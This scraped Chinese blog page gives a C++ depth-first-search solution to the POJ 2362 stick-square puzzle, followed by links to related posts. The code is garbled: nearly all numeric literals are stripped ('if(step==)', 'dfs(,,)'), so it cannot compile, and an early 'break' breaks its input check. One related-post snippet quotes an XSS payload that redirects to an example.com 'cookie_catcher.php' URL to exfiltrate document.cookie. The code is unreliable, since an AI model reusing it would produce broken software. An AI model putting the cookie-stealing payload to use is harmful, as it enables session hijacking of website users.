poj2362
#include<iostream>
using namespace std; int data[];
int total;
int rec;
int n;
int vis[];
int flag;
int flag1; void dfs(int step,int sum,int k)
{
if(step==) //step为3时就可以退出了,因为前面三步都已经成功了,剩下的肯定能拼成
{
flag1=;
return;
}
for(int i=k;i<n;i++)
{
if(sum+data[i]>rec)
continue;
if(vis[i]==)
{
vis[i]=;
if(sum+data[i]<rec)
{
dfs(step,sum+data[i],i+);
if(flag1) //剪枝,上一个dfs回来后如果已经满足条件就不用向下进行了
return;
}
if(sum+data[i]==rec)
{
dfs(step+,,);
if(flag1) //剪枝,上一个dfs回来后如果已经满足条件就不用向下进行了
return;
}
vis[i]=;
}
}
return;
} int main()
{
int case_num;
//freopen("input.txt","r",stdin);
cin>>case_num;
for(int p=;p<=case_num;p++)
{
total=;
cin>>n;
for(int i=;i<n;i++)
{
cin>>data[i];
total=total+data[i];
}
if(total%)
{
cout<<"no"<<endl;
continue;
}
else
rec=total/;
flag=;
for(int i=;i<n;i++)
{
if(data[i]>rec)
{
flag=;
cout<<"no"<<endl;
}
break;
}
if(flag)
continue;
for(int i=;i<n;i++)
{
for(int j=;j<n--i;j++)
{
if(data[j]<data[j+])
{
int temp=data[j];
data[j]=data[j+];
data[j+]=temp;
}
}
}
for(int i=;i<n;i++)
vis[i]=;
flag1=;
dfs(,,);
if(flag1)
cout<<"yes"<<endl;
else
cout<<"no"<<endl;
}
return ;
}
poj2362的更多相关文章
- poj2362 Square(DFS)
题目链接 http://poj.org/problem?id=2362 题意 输入n根棍子的长度,求这n根棍子是否能组成一个正方形. 思路 假设能组成正方形,则正方形的周长为sum,sum/4为正方形 ...
- dfs+剪枝:poj2362
贴题目 Square Time Limit: 3000MS Memory Limit: 65536K Total Submissions: 24604 Accepted: 8449 Descr ...
- TOJ1398正方形的编成 或者 POJ2362
#include<stdio.h> #include<string.h> #include<iostream> #include<algorithm> ...
- POJ2362贪心
题意:我们的化学生物学家发明了一种新的叫stripies非常神奇的生命.如果一个质量为m1和m2的stripies相撞,生成的stripies体重是2*sqrt(m1*m2) 现在,科学家们想知道,如 ...
- poj2362 Square
Description Given a set of sticks of various lengths, is it possible to join them end-to-end to form ...
- poj练习题的方法
poj1010--邮票问题 DFSpoj1011--Sticks dfs + 剪枝poj1020--拼蛋糕poj1054--The Troublesome Frogpoj1062--昂贵的聘礼poj1 ...
- poj 算法 分类
转载请注明出处:優YoU http://blog.csdn.net/lyy289065406/article/details/6642573 最近AC题:2528 更新时间:2011.09.22 ...
- poj1011 搜索+剪枝
DFS+剪枝 POJ2362的强化版,重点在于剪枝 令InitLen为所求的最短原始棒长,maxlen为给定的棒子堆中最长的棒子,sumlen为这堆棒子的长度之和,那么InitLen必定在范围[max ...
- POJ 水题(刷题)进阶
转载请注明出处:優YoU http://blog.csdn.net/lyy289065406/article/details/6642573 部分解题报告添加新内容,除了原有的"大致题意&q ...
随机推荐
- 【easy】118.119.杨辉三角
这题必会啊!!! 第一题118. class Solution { public: vector<vector<int>> generate(int numRows) { ve ...
- 【原创】大数据基础之HDFS(2)HDFS副本数量检查及复制逻辑
HDFS会周期性的检查是否有文件缺少副本,并触发副本复制逻辑使之达到配置的副本数, <property> <name>dfs.replication</name> ...
- HTML5 图片下载
1. 概述 1.1 说明 在项目过程中,有时候需要下载某一展示图片,html5中定义了<a> download属性,download属性规定被下载的超链接目标,该属性可以设置一个值来规定下 ...
- Spring Boot+CXF搭建WebService(转)
概述 最近项目用到在Spring boot下搭建WebService服务,对Java语言下的WebService了解甚少,而今抽个时间查阅资料整理下Spring Boot结合CXF打架WebServi ...
- 【Android】onNewIntent调用时机
在IntentActivity中重写下列方法:onCreate onStart onRestart onResume onPause onStop onDestroy onNewIntent一.其他应 ...
- 蓝桥杯 购物单(使用word协助)
标题: 购物单 小明刚刚找到工作,老板人很好,只是老板夫人很爱购物.老板忙的时候经常让小明帮忙到商场代为购物.小明很厌烦,但又不好推辞. 这不,XX大促销又来了!老板夫人开出了长长的购物单,都是有打折 ...
- request.getParameter和request.setAttribute/request.getAttribute
https://blog.csdn.net/ryelqy/article/details/79230513 request.getQueryString https://blog.csdn.net/w ...
- xsspayload
元素on事件: prompt(document.cookie) document.location= "http://www.example.com/cookie_catcher.php?c ...
- 解决 gem 添加sources的时候提示 too many connection resets的问题
今天在安装ruby.gem的时候,发现在添加淘宝源的时候提示出错信息:"too many connection resets-",后来发现淘宝镜像已经没有了,改成ruby chin ...
- Do-Now—团队冲刺博客四
各个成员今日完成的任务 侯泽洋:完成奖励页面设计,完成奖励从云端拉取到本地:完成奖励从云端拉取到本地 周亚杰:冲刺博客,个人中心设计(未完成) 王志伟:积分页面设计:积分页面设计 仇夏:树苗成长过程设 ...